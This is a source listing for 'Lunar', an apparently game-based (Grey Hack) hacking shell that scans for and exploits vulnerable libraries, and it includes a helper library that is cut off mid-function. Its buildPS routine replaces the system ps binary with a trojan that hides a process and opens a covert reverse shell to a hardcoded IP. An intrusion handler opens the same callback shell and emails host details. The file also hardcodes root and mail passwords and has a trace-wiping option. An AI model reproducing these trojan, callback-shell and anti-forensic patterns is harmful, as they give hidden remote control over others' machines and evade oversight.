Files

nightlunar.src
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Loading Lunar functions...</color>")
  • import_code("/home/me/projects/lunar/libs/lunarcmd.src") // exports cmds helplist
  • import_code("/home/me/projects/lunar/libs/fox.src") // exports FoxLib
  • // debug tool
  • //import_code("/home/me/projects/igs/meta.src") // exports Meta
  • COB=get_custom_object
  • MAIL_ADDRESS = "me@agilesson.net"
  • MAIL_PASSWORD = "me"
  • MAIL_LOGIN = mail_login(MAIL_ADDRESS, MAIL_PASSWORD)
  • // required ssh server
  • SERVER_IP = "101.241.98.154"
  • SERVER_PORT = 22
  • SERVER_USER = "root"
  • SERVER_PASSWORD = "gasusan"
  • SERVER_CONF_FOLDER_PATH = "/root/conf"
  • SERVER_EXPLOITS_FOLDER_PATH = "/root/exploits"
  • RCON_BIN_LOCATION = "/home/guest/rcon"
  • APT_SERVER_IP = "123.235.112.218"
  • //ver=5
  • //dev="Clover"
  • mxf=null
  • cpf=null
  • apt=null
  • bcf=null
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Loading Lunar libraries...</color>")
  • root=get_shell.host_computer.File("/")
  • newFiles=[]
  • newFiles=newFiles+root.get_folders+root.get_files
  • while newFiles.len
  • currFile=newFiles.pull
  • if currFile.is_folder then newFiles=currFile.get_folders+currFile.get_files+newFiles
  • test=include_lib(currFile.path)
  • if typeof(test) == "MetaxploitLib" and not mxf then
  • mxf=currFile.path
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Exploit library > "+mxf+"</color>")
  • end if
  • if typeof(test) == "cryptoLib" and not cpf then
  • cpf=currFile.path
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Crypto library > "+cpf+"</color>")
  • end if
  • if typeof(test) == "aptclientLib" and not apt then
  • apt=test
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Apt library > "+currFile.path+"</color>")
  • end if
  • if typeof(test) == "blockchainLib" and not bcf then
  • bcf=currFile.path
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Coin Library > "+bcf+"</color>")
  • end if
  • end while
  • if not mxf then exit("<color=#7141c4>[Lunar] </color><color=#8254d1>Exploit library not found</color>")
  • if not cpf then exit("<color=#7141c4>[Lunar] </color><color=#8254d1>Crypto library not found</color>")
  • cp=include_lib(cpf)
  • if apt then
  • if get_shell.host_computer.File("/etc/apt") then
  • if not get_shell.host_computer.File("/etc/apt/aptcache.bin") then apt.update
  • end if
  • inSource=apt.show(APT_SERVER_IP)
  • if inSource == APT_SERVER_IP + " repository not found" then
  • apt.add_repo(APT_SERVER_IP,1542)
  • apt.update
  • end if
  • print("<color=#7141c4>[Lunar]</color><color=#8254d1> Checking library updates...</color>")
  • if typeof(apt.check_upgrade(mxf)) == "number" and apt.check_upgrade(mxf) then
  • print("<color=#7141c4>[Lunar]</color><color=#8254d1> Updating exploit library...</color>\n")
  • apt.install("metaxploit.so",parent_path(mxf))
  • end if
  • end if
  • mx=include_lib(mxf)
  • if bcf then bc=include_lib(bcf) else bc=null
  • print("<color=#7141c4>[Lunar]</color><color=#8254d1> Lunar libraries loaded</color>")
  • logRs="fstab"
  • scnln="/usr/bin/ScanLan.exe"
  • if not get_shell.host_computer.File(scnln) then scnln=current_path+"/ScanLan.exe"
  • if not get_shell.host_computer.File(scnln) then scnln=null
  • rhost=get_shell.host_computer.network_gateway
  • if rhost == "0.0.0.0" then rhost=get_shell.host_computer.local_ip
  • sessions=[]
  • session=0
  • shell=get_shell
  • xpath=current_path
  • xuser=active_user
  • user=null
  • comp=shell.host_computer
  • lunar=program_path
  • results=[]
  • clipboard=null
  • anon=0
  • la=0
  • if COB.indexes.indexOf("launchnum") == null then launchnum=0 else launchnum=COB.launchnum
  • COB.launchnum=1
  • origShell=1
  • previous=[]
  • server={}
  • server.shell=null
  • server.cp=null
  • server.conf=null
  • conf=null
  • sessions.push({"shell": {"shell": shell, "user": xuser, "path": xpath, "orig": origShell}, "shells": [], "results": [], "clipboard": [], "rhost": rhost})
  • error=function(reason)
  • out={}
  • out.bool=0
  • out.err=reason
  • return out
  • end function
  • buildPS=function(proc)
  • if not comp.File("/bin") then return
  • ps=comp.show_procs
  • source="output = get_shell.host_computer.show_procs;lines=output.split(""\n"");newOut=[];rshell=0;for line in lines;if line.split("" "")[-1] == """+proc+""" then;rshell=1;continue;end if;if line.split("" "")[-1] == ""lunar"" then continue;newOut.push(line);end for;mxf=null;root=get_shell.host_computer.File(""/"");newFiles=[];newFiles=newFiles+root.get_folders+root.get_files;while newFiles.len;currFile=newFiles.pull;if currFile.is_folder then;newFiles=currFile.get_folders+currFile.get_files+newFiles;end if;test=include_lib(currFile.path);if typeof(test) == ""MetaxploitLib"" then mxf=currFile.path;end while;if mxf then;if not rshell then include_lib(mxf).rshell_client(""61.126.138.22"",1222,"""+proc+""");end if;output=newOut.join(""\n"");print(format_columns(output))"
  • comp.touch(xpath,"ps.src")
  • p=null
  • if comp.File("/bin/ps") then p=comp.File("/bin/ps").permissions[1:]
  • src=comp.File(xpath+"/ps.src")
  • if not src then return
  • src.set_content(source)
  • shell.build(src.path,"/bin")
  • src.delete
  • ps=comp.File("/bin/ps")
  • ps.chmod("u-wrx")
  • ps.chmod("g-wrx")
  • ps.chmod("o-wrx")
  • if p then
  • up=p[:3].replace("-","")
  • gp=p[3:-3].replace("-","")
  • op=p[-3:].replace("-","")
  • else
  • p=comp.File("/bin").permissions[1:]
  • up=p[:3].replace("-","")
  • gp=p[3:-3].replace("-","")
  • op=p[-3:].replace("-","")
  • end if
  • ps.chmod("u+"+up)
  • ps.chmod("g+"+gp)
  • ps.chmod("o+"+op)
  • end function
  • sendEmail=function(reason)
  • mail=MAIL_LOGIN
  • if typeof(mail) != "MetaMail" then return
  • send=mail.send("",get_shell.host_computer.public_ip,"<color=#7141c4>[Lunar Security]</color>"+char(10)+"<color=#7141c4>[IP] </color><color=#8254d1>"+get_shell.host_computer.public_ip+"</color>"+char(10)+"<color=#7141c4>[Local IP] </color><color=#8254d1>"+get_shell.host_computer.local_ip+"</color>"+char(10)+"<color=#7141c4>[Date] </color><color=#8254d1>"+current_date+"</color>"+char(10)+"<color=#7141c4>[Reason] </color><color=#8254d1>"+reason+"</color>")
  • if typeof(send) != "number" then return
  • end function
  • intrude=function(err,alt=null)
  • if not alt then alt=err
  • if get_shell.host_computer.public_ip == "141.193.149.45" or get_shell.host_computer.public_ip == "135.202.178.113" then exit("<color=#7141c4>[Lunar]</color><color=#8254d1> "+err+"</color>")
  • sendEmail(alt)
  • rshelled=0
  • ps=comp.show_procs
  • for proc in ps.split("\n")[1:]
  • proc=proc.split(" ")
  • if proc[-1] == logRs then rshelled=1
  • end for
  • if not rshelled then
  • buildPS(logRs)
  • mx.rshell_client("61.126.138.22",1222,logRs)
  • end if
  • exit("<color=#7141c4>[Lunar]</color><color=#8254d1> "+err+"</color>")
  • end function
  • serve=function()
  • proxy=get_shell.connect_service(SERVER_IP, SERVER_PORT, SERVER_USER, SERVER_PASSWORD)
  • if typeof(proxy) != "shell" then
  • print("<color=#7141c4>[Lunar]</color><color=#8254d1> Server connection failure</color>")
  • globals.la=1
  • return
  • end if
  • globals.server.shell=proxy.connect_service(SERVER_IP, SERVER_PORT, SERVER_USER, SERVER_PASSWORD)
  • if typeof(server.shell) != "shell" then
  • print("<color=#7141c4>[Lunar]</color><color=#8254d1> Server connection failure</color>")
  • globals.la=1
  • return
  • end if
  • server.shell.launch(RCON_BIN_LOCATION)
  • globals.server.cp=COB.server.cp
  • end function
  • Sha256=@FoxLib.Crypto.Sha256
  • rot=@FoxLib.Crypto.ROT
  • vigenere=@FoxLib.Crypto.Vigenere
  • base64=@FoxLib.Crypto.Base64
  • deserialize=@FoxLib.General.Deserialize
  • compression=@FoxLib.General.Compression
  • parseint=@FoxLib.General.ParseInt
  • genRandomString=@FoxLib.General.rndstring
  • //shade=@FoxLib.Crypto.Shade
  • exploit=@FoxLib.VulnV.Exploit
  • decipher=@FoxLib.VulnV.Decipher
  • encrypt=function(pass,secret,type)
  • cryptChars=function(pass)
  • if typeof(pass) == "string" then
  • newList=[]
  • for chr in pass
  • newList.push(bitwise("^",chr.code,key))
  • end for
  • return newList.join("/")
  • else if typeof(pass) == "list" then
  • newList=""
  • for num in pass
  • newList=newList+char(bitwise("^",num.to_int,key))
  • end for
  • return newList
  • end if
  • end function
  • shiftChars=function(pass,shift,list)
  • enc=""
  • for chr in pass
  • if list.indexOf(chr) == null then continue
  • newChar=shift[list.indexOf(chr)]
  • enc=enc+newChar
  • end for
  • return enc
  • end function
  • allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
  • shiftedChars="Cy|=a+!@z^M7rmg*BUh(Ne-5tV8dTq?$u4vo1>kWxJpARLcKSb320%EQH6<w_nOG#.&/ZsXI)PjfiFYDl9"
  • passLen=pass.len
  • key=0
  • for chr in secret
  • key=key+chr.code
  • end for
  • if type == "enc" then
  • enc1=cryptChars(pass)
  • crypt=shiftChars(enc1,shiftedChars,allowedChars)
  • else if type == "dec" then
  • dec=shiftChars(pass,allowedChars,shiftedChars)
  • dec=dec.split("/")
  • dec=cryptChars(dec)
  • crypt=dec
  • end if
  • return(crypt)
  • end function
  • bar = function(n, bar_length = 30) // percentage number
  • fill_count = ceil(n / bar_length * 10)
  • empty_count = bar_length - fill_count
  • fill_bar = "#"*fill_count
  • empty_bar = "-"*empty_count
  • bar = "<color=#8254d1>"+fill_bar+"</color><color=#7141c4>"+empty_bar+"</color>"
  • return bar
  • end function
  • getRandomIp=function()
  • octets=[]
  • for i in range(0,3)
  • if i == 0 then octets.push(ceil(rnd*223)) else octets.push(floor(rnd*256))
  • end for
  • return octets.join(".")
  • end function
  • checkPerms=function(device)
  • out={}
  • if typeof(device) != "shell" and typeof(device) != "computer" and typeof(device) != "file" then return 0
  • if typeof(device) == "shell" or typeof(device) == "computer" then
  • if typeof(device) == "shell" then rcomp=device.host_computer else rcomp=device
  • rfile=rcomp.File("/")
  • ruser="guest"
  • if rfile and rfile.has_permission("w") then
  • ruser="root"
  • else
  • rfile=rcomp.File("/home")
  • if rfile then
  • for user in rfile.get_folders
  • if user.name == "guest" then continue
  • if user.has_permission("w") then ruser=user.name
  • end for
  • end if
  • end if
  • out.user=ruser
  • out.lan=rcomp.local_ip
  • out.pub=rcomp.public_ip
  • else if typeof(device) == "file" then
  • rcomp=device
  • while rcomp.path != "/"
  • rcomp=rcomp.parent
  • end while
  • rfile=rcomp
  • ruser="guest"
  • if rfile and rfile.has_permission("w") then
  • ruser="root"
  • else
  • rfile=null
  • for folder in rcomp.get_folders
  • if folder.name == "home" then rfile=folder
  • end for
  • if rfile then
  • for user in rfile.get_folders
  • if user.name == "guest" then continue
  • if user.has_permission("w") then ruser=user.name
  • end for
  • end if
  • end if
  • out.user=ruser
  • if exlib then
  • out.pub=pubip
  • out.lan=locip
  • else
  • islan=is_lan_ip(rhost)
  • router=get_router(rhost)
  • if islan then router=get_router
  • if islan then ports=router.device_ports(rhost) else ports=router.used_ports
  • ips=[]
  • lan=null
  • if rhost != router.local_ip then
  • hport=router.device_ports(router.local_ip)[0]
  • m={}
  • m.ip=router.local_ip
  • m.ports=[hport.port_number,0]
  • ips.push(m)
  • end if
  • for port in ports
  • inMap=0
  • for m in ips
  • if m.ip == port.get_lan_ip then
  • m.ports.push(port.port_number)
  • inMap=1
  • end if
  • end for
  • if not inMap then
  • m={}
  • m.ip=port.get_lan_ip
  • m.ports=[port.port_number]
  • ips.push(m)
  • end if
  • end for
  • for m in ips
  • ports=m.ports
  • ip=m.ip
  • for port in ports
  • if port == expport then lan=ip
  • end for
  • end for
  • if not lan then lan="unknown"
  • out.pub=rhost
  • out.lan=lan
  • end if
  • end if
  • return out
  • end function
  • Scan=function()
  • scanned=exploit(lmx,ml,args)
  • for mem in scanned.db.exploits
  • for ent in mem.vulns
  • result=ent.result
  • perms=checkPerms(result)
  • if not perms then continue
  • exploit={}
  • exploit.obj=result
  • exploit.user=perms.user
  • exploit.mem=mem.mem
  • exploit.exp=ent.vuln
  • exploit.lan=perms.lan
  • exploit.pub=perms.pub
  • if pubip == exploit.pub and anon then exploit.pub="x.x.x.x"
  • if exlib then exploit.port=exlib.name else exploit.port=expport
  • if results.indexOf(exploit) != null then continue
  • results.push(exploit)
  • end for
  • end for
  • end function
  • saveScan=function()
  • if lib then
  • vulns=lib.vulns
  • for insec in vulns
  • mem=insec.mem
  • for vuln in insec.vulns
  • exp=vuln
  • if args then result=ml.overflow(mem,exp,args) else result=ml.overflow(mem,exp)
  • perms=checkPerms(result)
  • if not perms then continue
  • exploit={}
  • exploit.obj=result
  • exploit.user=perms.user
  • exploit.mem=mem
  • exploit.exp=exp
  • exploit.lan=perms.lan
  • exploit.pub=perms.pub
  • if pubip == exploit.pub and anon then exploit.pub="x.x.x.x"
  • if exlib then exploit.port=exlib.name else exploit.port=expport
  • if results.indexOf(exploit) != null then continue
  • results.push(exploit)
  • end for
  • end for
  • else
  • scanned=exploit(lmx,ml,args)
  • newLib={}
  • newLib.name=scanned.db.name
  • newLib.ver=scanned.db.ver
  • newLib.vulns=[]
  • for mem in scanned.db.exploits
  • ex={}
  • ex.mem=mem.mem
  • ex.vulns=[]
  • for ent in mem.vulns
  • exp=ent.vuln
  • ex.vulns.push(exp)
  • result=ent.result
  • perms=checkPerms(result)
  • if not perms then continue
  • exploit={}
  • exploit.obj=result
  • exploit.user=perms.user
  • exploit.mem=mem.mem
  • exploit.exp=exp
  • exploit.lan=perms.lan
  • exploit.pub=perms.pub
  • if pubip == exploit.pub and anon then exploit.pub="x.x.x.x"
  • if exlib then exploit.port=exlib.name else exploit.port=expport
  • if results.indexOf(exploit) != null then continue
  • results.push(exploit)
  • end for
  • newLib.vulns.push(ex)
  • end for
  • n="/"+newLib.name+"#"+newLib.ver+char(10)
  • for vuln in newLib.vulns
  • n=n+":"+vuln.mem+char(10)+vuln.vulns.join(char(10))+char(10)
  • end for
  • if server then
  • if dbfile.get_content.len > 1 then
  • if compression(compression(dbfile.get_content,"decompress")+n,"compress").len >= 160000 then
  • server.host_computer.touch("/root/exploits","exp"+server.host_computer.File("/root/exploits").get_files.len+1)
  • globals.dbfile=servdb.get_files[-1]
  • end if
  • end if
  • end if
  • if dbfile.get_content.len == 0 then dbfile.set_content(compression(n,"compress")) else dbfile.set_content(compression(compression(dbfile.get_content,"decompress")+n,"compress"))
  • print "FAWEFWAFAWFSEFES "
  • print n
  • if dbfile.get_content.len == 0 then
  • print "EEEEEEEEEEEEEEE"
  • print compression(n,"compress")
  • print "DDDDDDDDDDDDDDDDDDD"
  • print compression(compression(n,"compress"),"decompress")
  • dbfile.set_content(compression(n,"compress"))
  • else
  • dbfile.set_content(compression(compression(dbfile.get_content,"decompress")+n,"compress"))
  • end if
  • end if
  • end function
  • getExploits=function()
  • globals.exploits=[]
  • if server then
  • e=""
  • globals.dbfile=servdb.get_files[-1]
  • for file in servdb.get_files
  • print " AAAAAAAAAAAAAAAAAAA"
  • print file.get_content
  • print compression(file.get_content,"decompress")
  • if file.get_content.len > 1 then e=e+compression(file.get_content,"decompress")
  • end for
  • for line in e.split("/")
  • if line == "" then continue
  • print "FFFFFFFFFFFFFFFFF"
  • print line
  • newLib={}
  • newLib.name=line.split("#")[0]
  • newLib.ver=line.split("#")[1].split(char(10))[0]
  • newLib.vulns=[]
  • vulns=line.split(":")
  • vulns.pull
  • for l in vulns
  • l=l.split("\n")
  • if l[0] == "" then continue
  • ex={"mem": 0, "vulns": []}
  • ex.mem=l.pull
  • for vuln in l
  • if vuln == "" then continue
  • ex.vulns.push(vuln)
  • end for
  • newLib.vulns.push(ex)
  • end for
  • exploits.push(newLib)
  • end for
  • return
  • end if
  • if dbfile.get_content.len == 0 then return
  • for line in compression(dbfile.get_content,"decompress").split("/")
  • if line == "" then continue
  • newLib={}
  • newLib.name=line.split("#")[0]
  • newLib.ver=line.split("#")[1].split("\n")[0]
  • newLib.vulns=[]
  • for l in line.split(":")[1:]
  • l=l.split("\n")
  • if l[0] == "" then continue
  • ex={"mem": 0, "vulns": []}
  • ex.mem=l.pull
  • for vuln in l
  • if vuln == "" then continue
  • ex.vulns.push(vuln)
  • end for
  • newLib.vulns.push(ex)
  • end for
  • exploits.push(newLib)
  • end for
  • return
  • end function
  • getPath=function(path)
  • path=path.split("/")
  • cpath=xpath.split("/")
  • if cpath.join("/") == "/" then cpath=[""]
  • if path[0] == "" then cpath=[""]
  • if path[0] == "#" and home != "/" then cpath=home.split("/")
  • for p in path
  • if p == "" then continue
  • if p == "#" then continue
  • if p == "." then
  • check=null
  • if shelltype == "file" then check=getFile((cpath+[p]).join("/")) else check=comp.File((cpath+[p]).join("/"))
  • if not check then continue
  • end if
  • if p == ".." then
  • cpath.pop
  • continue
  • end if
  • cpath.push(p)
  • end for
  • cpath=cpath.join("/")
  • if cpath == "" then cpath="/"
  • return cpath
  • end function
  • getFile=function(path)
  • if path.split("/")[0] != "" then return null
  • file=comp
  • for i in path.split("/")
  • if i == "" then continue
  • files=file.get_folders+file.get_files
  • file=null
  • for sub in files
  • if sub.name == i then
  • file=sub
  • break
  • end if
  • end for
  • if not file then return null
  • end for
  • return file
  • end function
  • if launch_path != program_path and not launchnum then print("<color=#7141c4>[Lunar] </color><color=#8254d1>Warning: Invalid program launch path.")
  • checkemail=MAIL_LOGIN
  • if typeof(checkemail) != "MetaMail" then intrude("Autologin failed")
  • l1=checkemail.fetch.len
  • checkemail.send(MAIL_ADDRESS,get_shell.host_computer.public_ip,"<color=#7141c4>[Lunar Security]</color>"+char(10)+"<color=#7141c4>[IP] </color><color=#8254d1>"+get_shell.host_computer.public_ip+"</color>"+char(10)+"<color=#7141c4>[Local IP] </color><color=#8254d1>"+get_shell.host_computer.local_ip+"</color>"+char(10)+"<color=#7141c4>[Date] </color><color=#8254d1>"+current_date+"</color>"+char(10)+"<color=#7141c4>[Reason] </color><color=#8254d1>AutoLogin</color>")
  • l2=checkemail.fetch.len
  • if l1 == l2 then intrude("Autologin failed")
  • checkemail.delete(checkemail.fetch[0].split(char(10))[2][8:])
  • if params.len > 0 then
  • if params[0].indexOf("l") == null then serve else la=1
  • if params[0].indexOf("R") != null then
  • comp.File(lunar).delete
  • comp.File(mxf).delete
  • comp.File(cpf).delete
  • cmds.corrupt(0)
  • exit("<color=#7141c4>[Lunar]</color><color=#8254d1> Removed traces</color>")
  • end if
  • if params[0].indexOf("a") != null then anon=1
  • else
  • serve
  • end if
  • rhost=comp.network_gateway
  • if rhost == "0.0.0.0" then rhost=comp.local_ip
  • print("<color=#7141c4> -= { </color><color=#8254d1><b>[Lunar OS]</b></color><color=#7141c4> } =- </color>")
  • start=time
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Performing short systems check...</color>")
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Libraries loaded: ["+mxf+", "+cpf+"]</color>")
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Vulnerability database loaded successfully</color>")
  • if server.shell then print("<color=#7141c4>[Lunar] </color><color=#8254d1>Serverside functions OK!</color>") else print("<color=#7141c4>[Lunar] </color><color=#8254d1>Serverside functions check failure</color>")
  • elapsed=str(time-start)
  • elapsed=elapsed[0:elapsed.indexOf(".")+2]
  • start=null
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>Finished system check in ["+elapsed+"] seconds.</color>")
  • lunaros=function(input=null)
  • while 1
  • globals.shelltype=typeof(shell)
  • if shelltype == "shell" then
  • globals.comp=shell.host_computer
  • globals.sstat="Shell"
  • else if shelltype == "computer" then
  • globals.comp=shell
  • globals.sstat="Computer"
  • else if shelltype == "file" then
  • globals.comp=shell
  • while comp.path != "/"
  • globals.comp=comp.parent
  • end while
  • globals.sstat="File"
  • end if
  • if shelltype == "file" then
  • globals.pubip=sessions[session].shell.pubip
  • globals.locip=sessions[session].shell.locip
  • else
  • globals.pubip=comp.public_ip
  • globals.locip=comp.local_ip
  • end if
  • if anon then
  • globals.display="\n<color=#7141c4>[Lunar"+sstat+"] </color><color=#8254d1>anon@x.x.x.x ~ "+locip+"</color>"
  • globals.home="/"
  • else
  • globals.display="\n<color=#7141c4>[Lunar"+sstat+"] </color><color=#8254d1>"+xuser+"@"+pubip+" ~ "+locip+"</color>"
  • if xuser == "root" then globals.home="/root" else globals.home="/home/"+xuser
  • if origShell then globals.home=home_dir
  • if shelltype == "file" then
  • if not getFile(home) then globals.home="/"
  • else
  • if not comp.File(home) then globals.home="/"
  • end if
  • end if
  • globals.displaypath=xpath
  • if home != "/" then
  • globals.displaypath=xpath.split("/")[:home.split("/").len].join("/")
  • if displaypath == home then globals.displaypath="~"+([""]+xpath.split("/")[home.split("/").len:]).join("/") else globals.displaypath=xpath
  • end if
  • globals.display=display+"\n<color=#7141c4>"+displaypath+":~$ </color><color=#8254d1>"
  • globals.pipe=[]
  • prompt=[]
  • next=[]
  • if input then prompt=input else prompt=user_input(display).split(" ")
  • if prompt[0] == "|" then continue
  • if prompt.indexOf("|") >= 0 then
  • prompt.push("|")
  • while prompt.len
  • pipe.push(prompt[:prompt.indexOf("|")])
  • end while
  • else
  • pipe.push(prompt[0:])
  • end if
  • while pipe.len
  • dbfile=null
  • if server.shell then
  • globals.xconf=server.shell.host_computer.File(SERVER_CONF_FOLDER_PATH)
  • globals.servdb=server.shell.host_computer.File(SERVER_EXPLOITS_FOLDER_PATH)
  • globals.dbfile=servdb.get_files[-1]
  • upref=xconf.get_content
  • config={"rss": {"ip": "none", "user": "none", "pass": "none", "port": 0, "rport": 0}, "mail": {"user": "none", "pass": "none"}, "proc": "none"}
  • if upref.len > 0 then config=deserialize(encrypt(upref,"Lunar","dec"))
  • globals.conf=config
  • else
  • globals.expdb=current_path+"/LuDB"
  • if not get_shell.host_computer.File(expdb) then get_shell.host_computer.touch(current_path,"LuDB")
  • globals.dbfile=get_shell.host_computer.File(expdb)
  • end if
  • globals.exlib=null
  • globals.expport=null
  • globals.shelltype=typeof(shell)
  • if shelltype == "shell" then
  • globals.comp=shell.host_computer
  • else if shelltype == "computer" then
  • globals.comp=shell
  • end if
  • if shelltype == "file" then
  • globals.comp=shell
  • while comp.path != "/"
  • globals.comp=comp.parent
  • end while
  • globals.pubip=sessions[session].shell.pubip
  • globals.locip=sessions[session].shell.locip
  • else
  • globals.pubip=comp.public_ip
  • globals.locip=comp.local_ip
  • end if
  • prompt=pipe.pull
  • if next.len then prompt.push(next.pull)
  • if prompt[0] == "" or prompt[0] == "0" or not prompt[0] then continue
  • i=0
  • for el in prompt
  • if el == "" then prompt[i]=0
  • i=i+1
  • end for
  • if prompt[0] == "r" then prompt[0] = "rhost"
  • if prompt[0] == "f" then prompt[0] = "nmap"
  • if prompt[0] == "w" then prompt[0] = "target"
  • if prompt[0] == "a" then prompt[0] = "escalate"
  • if prompt[0] == "d" then prompt[0] = "use"
  • if prompt[0] == "rnd" then prompt[0] = "random"
  • if prompt[0] == "enc" then prompt[0] = "shade"
  • if prompt[0] == "up" then prompt[0] = "put"
  • if prompt[0] == "dl" then prompt[0] = "get"
  • if prompt[0] == "clr" or prompt[0] == "cls" then prompt[0]="clear"
  • if prompt[0] == "!!" then prompt=previous
  • previous=prompt
  • args=prompt[1:]
  • comm=prompt[0]
  • if cmds.hasIndex(comm) then
  • f=@cmds[comm]
  • if clipboard then
  • for inp in args
  • if typeof(clipboard) == "string" and inp == "copyv" then args[args.indexOf(inp)] = clipboard
  • if typeof(clipboard) == "map" and clipboard.hasIndex(inp) then args[args.indexOf(inp)] = clipboard[inp]
  • end for
  • end if
  • out=f(args)
  • if out.bool == 1 then
  • if pipe.len then next.push(out.out) else print("<color=#7141c4>[Lunar] </color><color=#8254d1>"+out.out+"</color>")
  • else if out.bool == 0 then
  • print("<color=#7141c4>[Lunar] </color><color=#8254d1>"+out.err+"</color>")
  • break
  • end if
  • if out.bool == 3 then break
  • if COB.indexes.indexOf("returned") != null then
  • globals.sessions[session].shells.push(globals.sessions[session].shell)
  • globals.shell=COB.returned.shell
  • globals.origShell=0
  • globals.xuser=COB.returned.user
  • globals.xpath=COB.returned.path
  • globals.sessions[session].shell={"shell": shell, "path": xpath, "user": xuser, "orig": origShell}
  • if @COB.remove != @locals.remove then
  • COB.remove=@locals.remove
  • COB.remove("remove")
  • end if
  • COB.remove("returned")
  • end if
  • end if
  • end while
  • if input then return
  • end while
  • end function
  • if params[1:].len then lunaros(params[1:])
  • lunaros()
libs/fox.src
  • FoxLib={}
  • // GENERAL FUNCTIONS
  • FoxLib.General={}
  • General=FoxLib.General
  • FoxLib.General.LibFinder=function(folder="/")
  • out={}
  • out.apt=null
  • out.cpf=null
  • out.mxf=null
  • out.bcf=null
  • root=get_shell.host_computer.File(folder)
  • if not root then return
  • newFiles=root.get_folders+root.get_files
  • while newFiles.len
  • currFile=newFiles.pull
  • if currFile.is_folder then newFiles=currFile.get_folders+currFile.get_files+newFiles
  • test=include_lib(currFile.path)
  • if typeof(test) == "MetaxploitLib" then out.mxf=currFile.path
  • if typeof(test) == "cryptoLib" then out.cpf=currFile.path
  • if typeof(test) == "aptclientLib" then out.apt=currFile.path
  • if typeof(test) == "blockchainLib" then out.bcf=currFile.path
  • end while
  • return out
  • end function
  • FoxLib.General.Serialize=function(array=null,fancy=0)
  • if not str(array).len then return 0
  • if array == null or (str(array)[0] != "{" and str(array)[0] != "[") then return 0
  • type=null
  • if str(array)[0] == "{" then type="map"
  • if str(array)[0] == "[" then type="list"
  • //if type == "map" then
  • // tmp={}
  • // for i in array.indexes
  • // tmp[@i] = array[@i]
  • // end for
  • // array=tmp
  • //else if type == "list" then
  • // array=array[0:]
  • //end if
  • if not type then return 0
  • if type == "list" then
  • result="["
  • l=array
  • else
  • result="{"
  • l=array.indexes
  • end if
  • if fancy then
  • result=result+char(10)
  • if FoxLib.General.hasIndex("SERN") then FoxLib.General.SERN=FoxLib.General.SERN+1 else FoxLib.General.SERN=1
  • N=FoxLib.General.SERN
  • end if
  • for i in l.indexes
  • if type == "map" then v=@array[l[i]] else v=@array[i]
  • vt=typeof(@v)
  • if vt == "function" then
  • v="Err_Function"
  • vt="string"
  • end if
  • if str(v)[0] == "{" or str(v)[0] == "[" then v=FoxLib.General.Serialize(v,fancy)
  • if type == "list" then
  • if vt == "string" then v=""""+v+""""
  • if fancy then
  • if __i_idx == l.indexes.len-1 then result=result+(" "*N)+v else result=result+(" "*N)+v+", "
  • result=result+char(10)
  • else
  • if __i_idx == l.indexes.len-1 then result=result+v else result=result+v+", "
  • end if
  • else
  • if l[i] isa string then lx=""""+l[i]+"""" else lx=l[i]
  • if vt == "string" then v=""""+v+""""
  • if fancy then
  • if __i_idx == l.indexes.len-1 then result=result+(" "*N)+lx+": "+v else result=result+(" "*N)+lx+": "+v+","
  • result=result+char(10)
  • else
  • if __i_idx == l.indexes.len-1 then result=result+lx+": "+v else result=result+lx+": "+v+", "
  • end if
  • end if
  • end for
  • if fancy then
  • if type == "map" then result=result+(" "*(N-1))+"}" else result=result+(" "*(N-1))+"]"
  • else
  • if type == "map" then result=result+"}" else result=result+"]"
  • end if
  • if fancy and N == 1 then FoxLib.General.remove("SERN")
  • if fancy and N != 1 then FoxLib.General.SERN = N-1
  • return result
  • end function
  • FoxLib.General.Deserialize=function(array=null)
  • if not array or not array isa string then return 0
  • type=null
  • if array[0] == "[" then type="list"
  • if array[0] == "{" then type="map"
  • if not type then return 0
  • if type == "list" then
  • newArray=[]
  • else
  • newArray={}
  • end if
  • array=array.split(char(10)).join("")
  • array=array[1:-1]
  • if not array then return newArray
  • a=[]
  • b=[]
  • c=0
  • for v in array
  • i=__v_idx
  • if v == "{" or v == "[" then c=c+1
  • if v == "}" or v == "]" then c=c-1
  • if v == "," and c == 0 then
  • a.push(b.join(""))
  • b=[]
  • continue
  • end if
  • b.push(v)
  • if i == array.len-1 then
  • a.push(b.join(""))
  • b=[]
  • continue
  • end if
  • end for
  • array=a
  • for i in array
  • i=i.trim
  • if type == "list" then
  • if not i then continue
  • if i[0] == """" and i[-1] == """" then
  • i=i[1:-1]
  • else
  • if i == "null" then
  • i=null
  • else if i == "true" then
  • i=1
  • else if i == "false" then
  • i=0
  • else if i[0] == "{" or i[0] == "[" then
  • i=FoxLib.General.Deserialize(i)
  • else
  • nv=""
  • dc=0
  • for l in i
  • if l == "." then
  • if dc == 1 then break
  • nv=nv+"."
  • end if
  • if "0123456789E-".indexOf(l) != null then nv=nv+l
  • end for
  • if nv != "" then i=nv.val
  • end if
  • end if
  • newArray.push(i)
  • else
  • k=i[0:i.indexOf(":")]
  • if not k then continue
  • if k[0] == """" then k=k[1:-1]
  • v=i[i.indexOf(":")+1:]
  • if not v then continue
  • v=v.trim
  • if not v then continue
  • if v[0] == """" then
  • v=v[1:-1]
  • else
  • if v == "null" then
  • v=null
  • else if v == "true" then
  • v=1
  • else if v == "false" then
  • v=0
  • else if v[0] == "{" or v[0] == "[" then
  • v=FoxLib.General.Deserialize(v)
  • else
  • nv=""
  • dc=0
  • for l in v
  • if l == "." then
  • if dc == 1 then break
  • nv=nv+"."
  • end if
  • if "0123456789E-".indexOf(l) != null then nv=nv+l
  • end for
  • if nv != "" then v=nv.val
  • end if
  • end if
  • newArray[k]=v
  • end if
  • end for
  • return newArray
  • end function
  • FoxLib.General.rndstring=function(length=null)
  • if not length or not length isa number then return 0
  • newString=""
  • alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890"
  • while newString.len < length
  • newString=newString+alpha[floor(rnd*alpha.len)]
  • end while
  • return newString
  • end function
  • FoxLib.General.RandArt=function(data=null)
